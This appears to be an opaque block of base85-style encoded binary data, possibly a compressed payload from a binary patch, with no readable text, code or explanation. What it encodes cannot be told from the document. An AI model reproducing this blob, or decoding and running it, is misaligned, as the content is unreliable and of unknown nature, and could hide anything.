zaHp^YVGs*5L-rT*P)mZphnnwi2${#7lDQ7&MK(iB#fGowt5^Lp)Z)HF6S(+$1FCzY19`U z)xdafuqSrYD+*OZw(9Jw*c8rm8q`@#BA#18zxE&+SotlsCSc*Z$y(drIC!#g1m@3o23kheeb-^pzbFSTu z&~|-_^(=^qAInkEL&5;&4N2|oWP4!njw_`TvLjWuFw-_Fk>q~U!3O>s_LNN7M z4SYV~AuHy59u5V1!hla6=oI^Z$8P0LDV0cUjnW&bFrzbgA2!GO1{^o+{Dqo zdBThPa3$bdq`%YQhzxoAQ|{ca=6nw|VhWaU3UVXc51p<&S2CD2b*di?85#Zx6zW+Q z*FB+=3$$=xq44`SxTh|%q~w2P0Znm(DnYU^JlR!JnBU|G{?LO?)*aHMcuxq<7;TUpv^d3zgFCNe!oXt^Y zxeOB2mxDh}9YZ6D8-o+EGZVke5KO_4r@=@St$w(@a{#~U$UFGs9~<1IH%EE`u^{L{tvP&mX8%p&sJa4 z2pjv;DDh0~0Z>zAhLp3zYEY$~R8uhH^^Dt1}Xw6X6)qa-P zX>CmDwFcwU59a0=Y`4W;jn$K-EAn3au7>QPOKhQWw&*a7rkvN1R zTUDk2OHZ?SZ=3cRG&1l`UXds|R>oE8GbCB>5Eg4*Edhc$fPur^l1);d-p@erUa?+U z8j+=@qL_EC<Y%HGhl=4{UrK}w_(*-4g{2LoI5&L z(<9p}$P&$MCLJvh8Un^-!`rC3eduK*)e*sw-Q}`;lVuR~aJK4EID(hyn z1`R;KydTi%S-wUFBF;N;lmJ%gO8CL3WnnLt)K7O5YlFz?HR=boq7aZm&?*dP;6w*E z>~RTBJ+4Jn4pBkMR3eFsMjsO9c+C982F%kuG%8InJ{YmjqoWbH39v0_HtuKRyI-O= ztE>z0<-LTz)#eXjb zLc1>54710%@mcM<3?O?K2`dGVSLUUFYZUy-R<-I*kwJ8+R7?18Xi4!r$2ta8cwfo* zRj^lxmvTl>FTmeJ=!aTB{wi~Nbm@M2mz2(){0v7xmfZHBg%nuCzJ3R2-%r|?qptYf z9q4B!(a$CQGe{pXlxR+uPWZ9B9Q@>5sw4P~w#M&}-kGGA7N@6fj#Gf6u%4b(+@L2c zFV_jRe7Ux~m-Dy=GCU(*4Kb!AvcQRbEh3nEq(*ftlGGGgpdWA8PZuytD`SvHHNPG%6x596%@3r8|%?IO1D})gCXQ;dx@4uyf%xTqy*xfkX5N{ zgRDxh^d@o@Fn&Ibt@WOP9>b1T5io&j43*iCqsQ~a@C(3fWBY2OfQ|2J3D!S4Q z8yVPR)f2tJ8|X8hMqpwIBiRxA{@v(MPnrn~pj+l&t9ovworOaL*b)+{g>>*<*|vDR84aeOK`fw4V3qW=!dJ_1PaItb2TNt^ z{h9J1vSuyC2N&c1ThfR^!iynbyv58PcxBMwMNt|@;B_vN^eL!#&q<~P1{Lx4MaYD^ zV?Y=F11W!Ah8G9Z2pGVQhCcM7{pL~Zbpu$ahI~{HbToGpE{Z@o<9f<)L|oIK~82-xaG3cUS%VR-5|0DbV)nS0?I*PIx%CBKFtF(?oyMOa1eG(Z6YDQvVvU<=p{Q;dy=&yA;Xf+b>{#wo$kx2&QrT zpM=7t%0{#x;d$+SLVI4x*L;t|oMVV^I(#4M(lTmUBy%dL%3WGo;g!%Y@n0hLC$96t zG24QrZ9&puCoKN68=ZsJIhfBgWDcQ!CG$P=Ner6xGXkezd@%&A9x>%LEDsOc{J0p4 znLv{v!Z$KNzPc?>3-*7_9cj9JG21N(vP>~S10k%}YmxL6wQY=&T<#rPD` zpvvd?9DzJZ|2ZbHpIsygEWL7+h@Sn#mKZ;3P%UhM>VthZO;NS_MO2pxWrqOpeYa4p z`jsuB>?wKHsb-JPcPcg;cB^f}Ua#ImDQ)8wSjJU0P*`=FRKZmM-1}rw9Cy4Jr~{et z7fFs1Y)c(04e=T&J=jIMt_t8uhq91NBeVub713VrB)rE4tHmbA(R09>xq*jzyB)#j zByWF%BuMs>Xtv3%nDk_wNX<Cdshu(L@{`+Ro$p9Ve zt38}M3H#&)5$+7LFj*=w+-#J;3(R5Jz&Qn#&fxGwG8?v`dVg%&^uDS9FNX~Kx{juz zJ10D*4SnS?6kNn!ga#8+{654z#1VkQtx;7Epjn5Y+GZWplfe1jBKFC7=cnXg8wc?b z)OANE#Ep@qHjPBhG+9B>U#W-r6hKAxBRQ0BgJjr`bkh%yC|+g^#H|N0t)(Avc{#Pb zu7$Hpd3^$THF5gAg}A+8E=x1lQ@=7x~DX)sTq(RV9oJWU!~+Gu?K z2oD_S9>%5pKdg4-@_JxWSB|=nG-tqQKoWG;1ArH_*b=rmFPK+ zQ=uZBab!7yvoTf(X^hKo1aC!>w^jHtCRSCOfdtEE?dHjI#9oK7Rr?XWO)@JliBZQ- zDTo#Ld-4h#EaU!?Yo@vxGxlY89Pr9Hav^jY^xmf4&c6n}MwRvMH)z7#yj%(GQ|0Io zP_Naf!#@M+H9)oA(Q^9?@>P?;3w3W1XJy3x1z{zGq0t=mx^Q39d~#y{1Y9_1*FyZ- zo{7KKus-3h^+E~#HF%NFoyG+djz;FsTR=6Hb;83&JdD-*4l%OMTENlhVi;#tGaj7v zlmL69`bKawk0EZg{vi2cjk|yXe4Mxsi#5*t@u9ZeRm53|d7^I$sZ~S@urhqE9E?SL zakr`Jqnz1Nu zw~|hYhuv>lJQ)&=&#iS(F}B!6x0uEjC!)nTm!top&XcCjCd_Scxe=DYx)M_%Ugua- zCwUHk*Pz?^7wceM9X*^+e1}vtJu^ZYPEMzYeLHpT0ZqFUaH!tue?pxO=!y6_^=K-J zt^Yupq_GM#^yYAX0jXlqXi&GZfr$M}P9f}yF`&m?#bm3xTAIfF@;&0KI!9E2;J*w% zQ)o)&!Sod(NF9P8QQ5i#D%A1&qj@stpOlDgI0Zg-v3zrk0snDu-nqnu%jQGUm~Fl; zu?=`hXt)R{<~+2J7A{$Do6skYLK!BxzL!%dpY>xS?cS3^kM>IciCB@2?PFyb1GPA+ zh@{>90Xp)v8$27=;$+!h1j(a#5)f8{zXbTQjD>JlGOa!vT9_df5U~7E*aqhX1pt|q z8;3g^xUh$C3Ak&lybOJEM~~&sl_tX3nXOKcR&mejH}0r0zW4qcV?#FNFzsB>%{`!d z#$RWg4+e5$p`Qyw-&uUaQ`Q;ue?BhJ#F@u8*lajIU54hcGwzafs>(A$g1HuSkzscB z!a~OEIhdOCNq-dUI}@Hri#qxOmdSm`Y3fL35RIEA(YS+6oI+Kqj8Jlmuq)nTrvMm@ za|C8Fwa|CV?IMEz|iIT?hj-N$UbI^ALpDCUqECD>#DM_dQa}%tM{}06Sa)DkP z?g~QLAjB_df~}zx8T$M=bQb;-^b9Dml58{}cLm34G^as(8)!s-RM2sZY~j2C(k)QG znm%8QRzP<*5#bj>O+Ztfd<8y`;&T;@f`%CWA8zp3dHx3lcLaukXD`l`vWr9CdBeBx zlCE>nPWG<_Jb1%%5jDI8OJbk%$sF#*4r7zfjb9LDmr4N`u~>SO=kJWgPOQhRJKpZc zik7E*=ode%-x+PthEs<^hr(sG&~E%lKswqFO_OmU_MMahmv+o64C(|RQ+nqd%NG13qwGkw z!x5|Z4KEIlPA84QYBg%)H{5eN^_oyPv0noOM9d;buqS*`^ou3x89|+k`$wpVw~SMo zAJFkvV=UJGBk_^`)2QOfqX(-NgT?m7n)dp!+QKR2TETfbgxDDP zOndi9%*7a-_DI^-FymfFQ5Cp<3*4*nv1mHnRgZP7B!{}g18Ot)?k_m_)*ld4+kV=} zh|fXgal?ntduNn-2UopUzdaT1oju z>_M(}i_xUz01Z^1Y})x! zek(N1s!in6tmHiEH!{Dnt^OM3pHAe{?m`}~i3QMM7{ZACMwa{9=v|qd2fbqEZ%Nd5 z<}>e29+bI=I18x?R}Y_oXDqjOU|Qy>o$~+Z>w)H zKQxg~djk1n`G#2DtBu}W$$8Mbk@+5p`pzqv-+OjK9@eMGZ%*XX8k6&=zlQmbO*!OI z!ThTUeEW^eFG}Rou1wCOelhb4+Un;se@h~twq|Sl{!}1u6`FF4?<>i9(0hXUp{5-C zaO-RJGkMM*<~t|yY2A|ZsNV|vX8krKq5l^1pC|HZPaxk;zARsE%E8ZF$$8Mbk@;6m zIrzDf`31Phi~>K7#&a z7Q6}_8kco3>_C-^q{`9pDhSr#`>s;O!7ABsH(4cHod`rv{tk)f?D0A-tml&9!a*0V z73kUkU{BKuR&n5K2x1LZ0N`3$cU1PJ^^N)0ryzFbZ~FnB6RdpY-sQ2lB<$Yu|lf z6n8NYr1i}-hp*M~Lm<}U_7=kdpAguii5(tx4j(-EuSd8VS6k0TMQpv~T14Um391uw zUM`r}mDDh>&G$G9Nc;Ea|`pnJP`0TV|=^Q z8>+A5I6yp{7@4Gw+u-^P85>Y+Ec&UxQNfXrR~6$g*X#94ZO>y_>29MaOCgu`_jkr( zIi_=R8qTI<$RT8*A^fzvA1%KR_K_+;bLRSteB?p$`lUNdH4i3-e6g@RhkI@wE}qjF z_8>f8_W2>}eNF(pi|_#1dfLaOml#p6E|^POeHv_`#{BeNU@=IwYKJL236 zb36xW0Dt8p_90>3oZBv|O>B{!gZ*51)oK{f;$xRkR9`PLJRC)&+8-3i5n>Z~NsnJF z^&OAU@CXzGjX{Gx2J;|>nV9%3rZe*YXhS}vdbc4rLmniHD7_}j9lMZKRVd2GEwvHp zbE^O=KvOt~#>eD`G~+YNBhqoEs-ZGIrtzl?y*Y7uxKCiPrjuU%+*8U>6%-W!}|O0`&{~jx9{hBz!CWw*gRPC!^;aAtj=nyzkx~c z8!uAOKG6A?eAH64p)X0xE`Kn&1{3o-j9c5p{O=j?Hm*l#QSa};@_Dq|2{~{e)cZnB zM8=p~xLj<>K|RpHB^-M2p}CX_*JxHMG<&nn$NTnq!b2Xp8=*aZApNFo zjdg$IgxE5MF>VkaN$MJIxCOt(Ce|uOQ(7LdG-4VY!I?M|w${q=Qz56^uH1dSZIx$o5O`0ZTCLXeRKDLYi%XKfW0tIhe`?l0tbD35(TXE*4@v49 zn>bGtdcMh(dd+E6vov6gdNE$5-ghAwdljC!X3Po3@bS1l>S;(wFP_L|HQ2NznvLHz z(=_n?W4aS&0mL|A(al3q+|MutfVZeDwie>|w|gVSpV%m{wOcRe?On{-i8qPhCgZtP zJu|=v5@FZn$)osJksoi}_EFV5zu6=BZn<5)%^pzUb zclhaC+`*TgYa;8_Q7Dx=tHy@ToRj?U0XoM8`$SbH2l zY7%}0@CWrc%H@_!nTH0j_AJ+S5@-L~)l!Q=ABf*DKp5XI03RRd?1CEZ=$&n>)Pbn{ z`bXRMsIZ-bQ(TC5D6%o$GW&54V*xwCbsrZT@cuWd8Q&e@Pbfj7ngh~uo4G|Pj11jU zf&&0Y(H{3o_~u*Udt1gWwU^Q=C0}mJgbLAkJR+w{jcNotS(T_A?~kd!*2ntEF{yeJ zog0Jt_*7oKS@#m($1lISTtnZ`v~GJkFqO!*Y@zo-F; zpI#XO>6K_TOW0e(d}Jo&hov>a{Fh*X@;_RbZ?0{>kGw|kar}|MuQm8z$w`c*I-zOE zeL>P@AI!pb*xyGyko=na^l~A%o&xx zTK`}Xe#y`qS~qhPe>gR}IRmPV_0Q9ZKdG1hfy@+lQyaQ zaTUd#QimW#DURIXUc(cCvkYzUZ-is(moUl4rVThf9Xu&36>Ux_kN^GzzlEolzGJD) zL2Q%jeMjQugFdPSi2j4UeZ9D*wWvM)p(9-L_?r^tu<==3AHxONP$sOGT3(w4F2I7U zFsf%b7S;FZ0udYA^= zj@$Q1di5geQxC%znEB6N8EJD+I`X^MCFA?DhV%7U^uw_1O9RKHiv5tty+v}(9uP5w=)zwr!Bz0O7QmJF6jmi$rW=``O z-zhY&xX%WDwe3;QNs=G>WEYJ*c_XzAWPYE;jOB%{0_C>VCX{hY$at=k*QLbeuP3X=bzZ2*5!?r?|xP z{)hC6YJ#u!C&~ZM^JCzRP|{+q9My%isEb_O_p6yFv7@jj=J_M#8`g#JL_Cw=1}Jqo z&NlJ!LpVbb-@p{?mlp9ypG1^rvSP&k(K^yurDihZGO0d3?ew>z5S3A>Aj}`Lz#B6o zp@zkgeuMC%kC=vsu=Of0a;!KK26NJSnSX~c|BAUy!2Cab7E%Fe5I#TLT9{mk`Y>so0%Wnvxp@YOo$7|>+kCq@pZ4UOR87KyoU)Pcz;u0%G z9=rjOC43FJ9(;LHe)oia^@i4qebD^vFC1{lo3blzAFjt$74YZD|AO`bwfU94i1QcF z<;gVkcOp2`Y{>~BzE6Mw#d?F!v$h30W!IHFf7&ryhZos-lqB{EC5djfv8aU<^QawRIFenRCJX;i>XFD*iS5L8ueR z;dSCQW%DmeNvxm#)m11;nV%{PS&b|s^SjpwVv{u!%(PnoZDSnor+6d9DFK|re*qQ? zBPHj%%MP9Cc#!9o$Ymkd%kkjH$ay1~_dp6z*-cQ$%a9!DSkdq3;ryp4chk`C-Hyjs z6=T)pRRg=nzbD0;zsYg`JXGbVho)@&3R`)9^G zyHF1}@2AGx^A5_mpH#tRW=bg46Iva&mx9pzO~T*RBN|$L=O^r|i)8(7!5}B~J>p?LxLm4yk0`E_R=bsTcafa*IQ z_>?l$-_`bp8nr8kDZT)ZqXhqQNrkFvNLxU)%sM8PKr(WpRUi!^f}%FC3AjG4V!f5Bt<_fT#rn1?1ia+}37{euMG!?U zUSMnZ2Gl7R+8xX1Z1Xh^|M^yHKP#Q_s?o zA{4EK3(3;h$4OuY1x1Ejlpg_GfI{?5;i0V1a$sN*wk3iyhQ=Pm zYtuC!6O@%U=S>5fZeVNqxz9%%?vUmFgp+6qtTJdH!JJhYeKr1f_BdKN#-HL#58V3N zY1Xp7H4PhUPwl8Sd|N{!+vc2M#}@0!#IKAwCosD*LlGV*rk_BE2M1$!$V_BX+Ua^C z_PVhxC_QLS7dWZ$T}Fw1<1f*FX~!*O;OCreS~?A%Eop-#mH8_zX-a-*J*|wD1pFGJnZMRDVjnr8u(mR~DLgE` zNQThx8$xBDkvjD2t0e;xJIOYP2|9D zHA**b5z(a4zVY>rY>l4)=!b_pUeLd_s8KKDvZ#s;D6G;7zo?m_oDLnfKQSL^@i3pb zn_Q!%9qYw6f$$3&&0wrf50OaWj5(JXfp>z)J3$+9_kwUjcC(RqY79+=0&SHA+iD-L zjPC2GH{&h%y&&SdHQA942=;aQ9Lw+r?2>L5x88P|ZE@H+z`wl%2)bZ;pm|po z@)|jpZa4493TC&|6mJNxKc*?Nnt@$BtjRyRHO4-QC{m9fWppC39mXHvhw0~}#vvHq zCa5b;CA$FikHu<}b3QNKu8UR=KnV_iQcWVhS52pB&~gZr!-CR{+WD}A-usH1{sZnF3gAJZdXo-dbCxSZBGnyWKTO8!Wgjt<{8<=kY@#Ipl}lhtl-L(kkBso zrVlA^oHfH}#BLl-GhDhH%iZ`AZ9vk?b+?%tj8RY38=%niUIv+ho-pV$FEh)p^hU8w z9VQTZU!ryJZv8duSKUpcdg$xZH`ksWicR3=WV7IOs#`2tjZK(l?gx``zM7P}d82yN z2HmwxuOFgPmgrcoPCKH~RnS1C*ZvQs=O#-JCB5TcNqvvpEA(QV1vS+XrnPHr{j?S7 zriu7|h+@Xqp5%+5%SVoLVg^-RYb^z2$#DhaXs~B{y@w!(W>ao zBbu1zuiSgG9xO0*J%O!2Y+k2K<)h;;yNdxVifoe6@C`uxbzdk7PsCy zOus~8H#62v`DHgGuc2>Erwgz%V6umB7u-7f}sQ#`AGQ1x4qY97gV+%mleg2nGlrYd7}dyc%PoPUs`a*W`rS%Y?HT zt;0-?R+`iiWE&45IN>hJk+wKslcW0Uh9^+9zVZ7YvMV}@dveatQCE@0pyCuL&2dWd zLcd_+Es&dXLsM>VerqJ(;fY&~m*i_sYpa2ad-i@E-5t-GQ40f7emEk+o7T?J<~n9Xpfq$;JEW3k7e#U*$iLM#k?9gZGR6b-XM0 zRt@j(=dWG(38noOo{06X3r1Ie)fqW(U9=@yKG9lu37ebf+U8Hvv0rt?g6a3juAdwDR!*?VRm3`q#29lrs#TW>1MmRBd1yAv5#YKw=I~x zg|BREj7vA_kC1cJsA%S4&ZLQr*HKj^oB!e#tGuPSdDb&d`INx=$k*3J%coci%RvTU zx$&YfIx46?FAq7_PjSj8#-?6Z&?+bP_1QOPT#-Nx4RHx1xA?%t*Pj(?7p?rc!H+_Q zvgo&E(Kb>?jw7{Zad|BB4Ej$H>`!$+2=EOYDDJQ#vyofTJj5THYP)z#?MEyT*z$+k zk(GfO>$b0h&TZ3p++|#B%DLZ;jea+K6a;`&fCtLN^U{P7Tl!AN*XVuhYCGCOvbA(2 zG9Vbmro`q}40|nnk(G@lwx2TzxxF4{d^=RU!D?XHN{dwoqLV^8$?&JOs29m0XI#F$ ze1PH6{m;XrOS0UFRi1Cvp9jUD1v5)-*<@x#@NNnI!Du{VTu}t-f_-#ck=1Yzfz6;g zJ^HsnC+>d~I-#!=LR^uK7gN=+Z5@3zeIUs2OD9^9R~av@jdiLe*bNc*A7b$t;_}=O z!*lF+g*nZpOvF6_XCB`cubFin@*Mdee-<(9?S~D)A#fo?=e#?(#bu}9<;(3k@e`S* zsqY;6$1cEjcW?#Gc9lgxvYvS>RE%YH9|dGjSRN#4RcIu@ z5WK}&^k=Eb8J84L2cKo|AMWW5eqMMojfY~r^Qc)yJ_-d$2?lmYNp~jYVU>_z)15si z;!MitJLr@bsSW(rA}xLNQ;@H!{th=0u>xx#G6`Q3%^+UE?hYv@P(ze&iY8qzQJ zUT`5t2;^EIogRP2YN4BOXqNHKi=RtpJw8eG|8orBtODW3{jAk#bR6}KT{`wA)e$!G zcYHNLIs=&^=t(F?B_*yd6)awbMP-%t2TCMvdu<77XnO5+s6JBUcS1pDOtr-LEH&RD zyD`MVB?`b`h{NUk=9ef@{YVhQErr!@0Vm)yVzWa)((0`+RvQ0B(;ol2Bz%PVX*V7Z zw7355rZci0{4Ae!{6!XDvtD<%Pn1PhmZ9+xy%mbSrR4P&nW7mY5Ml#A|F4tWl#78TzzH&^mxU z2Sbh>UAHgv*P62Euc7DrRBN|Yj7nFxY90bKD8XzM)m7TvNqGV>Mn{7g2drg1Ry7CG zq--!cy`;Ugim{a^uc|}srPbhq|EP2nN4y^giloVs)LuGG{_yh({Wn?~ z1^k>VKP#h`5ijI1F6%HhRX^Ficns0=Uk%evr5yIfBtWOnYWg20&Z|NltuFJPtcTbdFO^z!fKQ^uAi}bk#cHYf%U}h};$a zIXr_R`edez&=+cLx-|Ec`6U*MJVl*B zvC^){f$wg7#FYj2jO8>=EO!(bXnS$9`gI<{@kWp!{;GLrI^DMxeaBQUE8c2F{>z7H zDOj*tnrgNpJ4kb>I69V@U73NON~|(YVXR!*vKEe^Hi&luZJA~_(c~M?NRueu#K9a* zle?(Kzphf?zg34)`(la-wdWr9Bh()60$d0{{9jZ`MgO3p_%!qVC%!vYk@$clUQ1#( zev^3=8*o28fH&7Up%ER&xp+m_vcm}$w5sW>9h`e2BD#vzD=%2wI(xS!)E(0Aa`;RJ zVlVu4i=oVFT%gBY5z2q$8+h_#iUysU0b2WhM|fN4Zh!UP;#MoNR(_Am4_eRc?l?X% zzIy!13RbGe(WLbFS@j2WHRX9_#VcpOugCB%oidKf*p&necIbh$B6CQNoyVHnlS#F{ zDzGaQXtC;l0y@sP0mW}v*Pn z?sfTxTlooO@l=~0qr0!mv!6DD?l30_BDJYe=wRryoeiT)r-*d7JdX|i2OTq#^bB%) zg6_pvop9)MP>)RrSkG+Gm|sL?Nwi-F?UOXxpHmlSLeSr;0-vfiwCtk&xw@7Xz(SUwxjfW9LD(}Lb0P+t(iC+K|?{8%8 z$?`4sK%aO3pKkgk_qyOFe+}KTip$CB=nF!^s^1JBa7eCNKmN{j4g6GBe?wXB!uUzJ{Mh;QQK3_3W<%Xe2-gjTkNp zcWPZiN&`05RblZU&nWTiqZqE6v5T(4F1kuRL0_41E5KvlQg$zLaR?I!+vqB6qpP%S zbb*0+z*<@+w$X*$e-jEi)8^Vl!Z3LcSc~Q||G7xXZfr-1lCyK?9+d7@4W3yR-O0H> zDZyNHs>AAOJ^i@lTN-li99+j=d7Tbh>+f)X+KuZ>6>=c3lLXypz-q{)3C*8Xjv=c) zV9Lv#G@|A*DroTyd-(fr0VhO| zP__EzDysb8Ov9f*1zrz^yYR0X_$4XqUy{oI^YT?ewYiJhU;{(h+6fh>2EG& zw|iuyV|_O2nb@K>Vv{Cyo*w^ZbsT@;Wp&M$(!*vI;V<@=u~Faso2_ajse;K{bWc6y zf=rSX#$Wheo|buFzkp5389pk{suw-jm0C}XlHoj) z1aEk%z*eNzP~&h?@BUXR=~Qp>SJqiLWd2GSmDGJ*GG34Infp>={VvlDoaAfZ-X}~0 zujVjo{_WY*2Wq$>KDgPB8@R`TlR=*V0v+=g`$!~c4J1|QgBs1fh=OZuW%N1hPG=`x5 z{;y&yiL0H0w7i`o>JoUx`uxeQX%00duoB|@5^Ut}sV-JeNKrY$yi=YR$$^Aah+p$A z(&f&%1K?A83pF-SqZn9DphoS->Qr~^OimK^3&OMQx;pkj?%xXe8_QiuVY!VV)<;M# zUEHp3MHDp@Y=HReQFinD`94<2((Um6 z&Jk>1=IJ^-2LA9|0UqfC?)Z!5oA@~?a4%`N6Mb+e)4DKvDU}N8_H}~bAPV{PtFGJz zUCz&!+vpPI;_qN(bupf%fll^Sew$nQN6h*78Xyz;wijRY1M>MEoXA`7HN| zl9|uaApwbhZDWw|Nowmy{B0iJN|n2>|FXNBjz4DlI{}oub7RDBxm|cf!~5m*y)OLE zfbUqB!2eMFgutBFIR__W&VB|HKPF_tonog9W7ipS=4NSsYn3xy$5o1XZpRlW7j3s* z;Trk^@Q2YRaFL=S9O7-Q1_k>5A`JBiyDV3$NcFf5)iAXWS2^=S9S|HP2e~JQYigSGzSf=o&8!iw{z&W4b3KPbWt)rOvaZs>WHS zgs27~3h4=BhS#SZB*yF05qi`407BB;bhh@=>+fr+e6R{QyHU;}dIJ6|SFVmZT*E({ z3V*+;cXP7dYpB<5{B;t$zkkk3+Z3OsH7IW$PSx%BEj(wq?d(2G%1=#}zuJ@+D?j?K z%YOrPdB1;ciOYYFQ=aBJ(ZvuJJ*ZVZN>Y5Sr<`@=?ieneEbw)5oZEPfZrt3suKfj{ zex{L^3)##(Pwd7Eotx*zDwtFlayOxd&Z)(sed@z7$U&YGWqA>+^HPdC6JU>nqFX1~ zKk?Va7;}y5S5?#PA1AhzgWsUd=1v-AO`_WDQ6$uTLyMD9d@o0b$ zG-Me1cb5!(488pw+rl^?2dB8SImpldRSt$g!gv-kKxIXGCuB;?>?h-S%IW7t;{ zt~V>3rvgtWnKyrA*s{Wt+^93#nKM__>=Ddruhv;+Bf+THE}>=?31uZn!xJhGxU90j zCo}U&G7{^BvsiW^5=OX=WHVIVd;%_iloD5^b+1kum+)OeeVfcZ_NNKgur(W^%E)6t z&K3}7@?*Eevm^Pq3o9-DExb2x~n85XG4a2(*;3^CM)sUSlkHsbF zpMMT@r?O8kRtw>VzS7Cl0e8vqD-DT;ooM22m(f1%0pC2N!DNaRX+S@N4RUdL89*Ib z$$i0%Ga#5Re&Cz{cowXzyP1$K=i$Nfz6RSNebBaka1+0R+^4XbzubqwfDU6k$5pFa zIv7EMn*Q5Ecye4dtJ@NiBmfm}lU4sP=vEPjTIO6e*N%LL@lZlS*bK{KATZfDLXo{K zKCfXx+smIs^sWL?dDCOEEL_!@!d8HtDwT2kSHQkOSyO-XgE6I1Yfsqq0D}C}GI^i- zZDf(%_;>M@bH@P+=A<~5hxS0+hN@NkJ8pL+!j&~BXS3+}gL4>Gf`o@TS z{UJU}^&)}+R{al4#`mDNn8)S9V?gT)&L$R4D7s)4PNgw@2a1TWb? z1)YCt9H?Uhn+t+`4HZP;pDe%x-mV8n?JFiCXO+4b50h6)s8`=YRh3RfNG^??X3ysx zNhvl_-iND3AE^kT-#~I_!eo6R(bi}+>c=OlWt&kqO6dg_`T=4ERbVZ1^9Tl{tXMgv zg|jY?uYsD0`KzOGO8n6{=%-__AMA%+h{ownC)6{@0xeWZd7kPp>T<>u3PQx>V5+88 zyWp)zQ)aOElW1w->}#DdyiHa*4a;$~*(oiFPMC~y6YRYhpzs}{0(ZP5^m6CecW20K zlyUY%&KP&n+}t<}{8WoX%W5;$WQ zaD?$7PD1SdGQ-t39AuJ98z!52)iqlUTLmD8uvPpy*+V7l0q*#XJiWU#6`G1PZB0Y; z4Tl0Q{g@vj%$Ohl{+*2MJdc)fRRoSQKSbyy=ZDBgnIBRrzD-jR{6o%!oaNNo744lK zDJ{&5aL=#ZxF^}+-5&scJKBqB*Xgm2HO%x$Q)zqHlO6UkReWd&!+^Gptx`VB@?KZ<49}MZ6TR{l}W!$Wc^}$Qe!?S$~7yh`fJ9m zfNQ$iE2C@5oD#wtH#_5Dcm!-#*H>I#aA6jch{GFB#S{*igw?-x$w-gSLdT|l`g7}I zW@?ruVFd-9ilMHA6DP6FVM1#m@*>TtARyMzk#`sRqYte`OMsveH^2w= zLcJo*iuQ>psKBBo>n>Fy4f45)8;;`#^3E>)ELw4n5VfH(AkH5ulJ-)b(z8!j~pYQU! z%@Efy3Wg8x9uA_Aw?;nsdjoJ80G=Eg_GuLZmKyZUc+tcXnn+aR7ikS{J9++g@_p?r zasj?#0?V-=Eq^Cw9EgQ5Dt^wvU_9i*a+|V;cTMAN)KQz8~;*Ozw{=UGKFwEptlRqi+NpPC zvh@Md`p+o}18*S`F}_c%tx0;>7c_>LpvKIjJ`+26!AjdHnNk^jv(mvK(1z?QVKXs; z*3zP*3gzfbZ7vW)B?Ac)65YB)bZa>?Far6Hp6~5G_?s^UIa-o_2TRY$c5O#@#l*B; zYylR$>&gf@1%#9cX(`cOrcWKVmxbWluJ$q=hUZ*5%_$%9)jr&B137)pnRG~9NA>9M zV)b}sn+T`6S}t38nX0wHKCX_T0W>dJ?#hP*15LzyA7Ho(Yj}0h_^)Irc??kuQ&7Vl{HR~I})vR>f7qF2N{QPiZ(1q9zv9*a!fK@L$ zay&D69rq>IlP`bXeVzN7UI|~#WAf;APKMjlcv=@bJ@z9uWSwIOsyyx9WEN>)5Z|b~ALl@rV{bB`{i2pQ*#80JrHg&Tl*C7vhWMK>on? zk`YYLu0|OO|GGRyuge!s32|j%ezbZ7dO@LH`kf1N)XJ?w))NY(Gjfm;8#9xDy}!67 zpCl7t*^pLDlYv+r9bf1wJ}1-6s8}$dkAY~esHnCU;-5-$#={i@$1L)cpsBKd5PtYS z^q(#2724DMAj%KYSgL{_wDJQ#RGc~dhH61$e1ab;rUjkxav-6=W|tr3-fn#wK{JKR z5iUE(X@m{J7wZ|Ue5WFXB`(!0QIXeik7vJg$LGBhy7R>@`la&%|UJ zvdzTl1S9NpDyjn&Q{vYEvKZ9{K3PFKgdnU^eZ)5*3J(5&FVwkPq^pHOWqo-=k}s#~ z_Wk@(;kLh<8fd?t+kT4uaQ>dv5N}vhQ0zHxEbqgQP>hFV%Fs5EPh;h#_s{2lp9V*x zSj5J4S&OEy%#=Bo$?iR{m3w-=+E=gv<4BP#M6rRlHHcZl&KRFH)|r!2CZ~VogBRnabH0o{W=6pMHYNym9oFPQ$LWT*1wI!Dgha`tHYY+zi3`lq5?E? z@CY@of1~e?KmYq!VlgCSxjYYjr36mkEKr)hXJ|z>g(dM=vd0a0PQF6}YOEW2Ol1|g zeZ6E2l9KtA+~Od(w3qypBJy{L`}a)wD}ed>WP8bp#3Uar789#)NfB@%7p`ji(|h|= zMoWfP#!9Md7PqI#&~cjqZ)LBq?W|<(NDMV6An&4^a^iEc6lAycKk{c(iF5u?0{T~T z0;P%niDrDq9DLtw-U3vun>F-(K--OXOC6$GvX6%9QiT*&e*`G#CSbW*Q70L+Q6j?v z@QhGbUCn{Po;m1}occz&{vpQv=#6L6K#-v!ji%Xg|doX!+|cbv}h z$nuGLW35R)J2jmHue7o8C9EQY$kBR?mUb(8lab`B_~YQ_TkBiWciUn-_rz^YBffqITGl?106sU;!J(v*aD@!ds0TMB@9|gj`k%Y%2WW&1aWhMj0N%Hzc+2Ei)lzZ zWG8zAA?tuE*LoZ;a_u-;_jLLdF(cO;*CtL)_q#RaP?K3zA}f=XrRagr=WC^N9F@3A zr-N0vV+}y{Gy;$N_g^Jw4cFWw=RC!u%VtZCIpEP98*S?tVd`~#7b7)Gd*?e2_3OmI z*7$XjZs4t;Yy3JNga?Up)YxU&#V=!zs9gbfX$f6>nC?}_1<=L74F*%--tgdRj3nP8 zxvu5d3`-SmIJxj|i1baL_m&TJBOV)xc0$pz*b9|-l;;4fOZYo~(w*=&E^b*+j>H`m zzsBQBAHOAH^@!zduM(#?_I@^Wqe{@oY9a^N2}+#*SUJip{A4$N!4kfF8lUu~^|z>x zlL&>z172F9g$(B3Hr4<&nHFW=!ikOR$+cT3`{IMM2rS;Dq`#NbubvM%rn4uAbEL`dhj!y5k;Vb4 z_S91zfUXXyCxMoE-bHh%z5DPsdN+4N_udiotZt@|?wzl5OQD0mXHJhhKMSOB^6sfX zGRM9mwH^w4I`LS)0}I9#A$_3#=m6r z>P6g_r{_A+%S;FOU9Mpfje8)=Hgon2aYs_*SBWAMeMK5mihP1lqSdq6kW>ux?Wq0R znH$+F2rsqK8p^@LS~<}8IrFMeC2RA%d7N}>n)xOONL-KF^jQ*T)@y?^Ta%sYDucjF z@td_+?Qzkk5XLD%9QGK;XS|Kp67wA_|2!apC4BfYdac%YcuxX*MSO(jbdOVNflb|& zPru!CVgrOmC}Uyp}8T^2zN9| zJ4S6SD#S+WOel;_Ds(2C8J%>dGp}fVmneqO+cM0C;!XF`cCU6NAzbX_{g zZqb<#A_v)w_R(pTwV z{hXG?oXyePF2`}3+bi;cOWU*y#W5d+tYy;2$XBnwCh!JW&VF6z 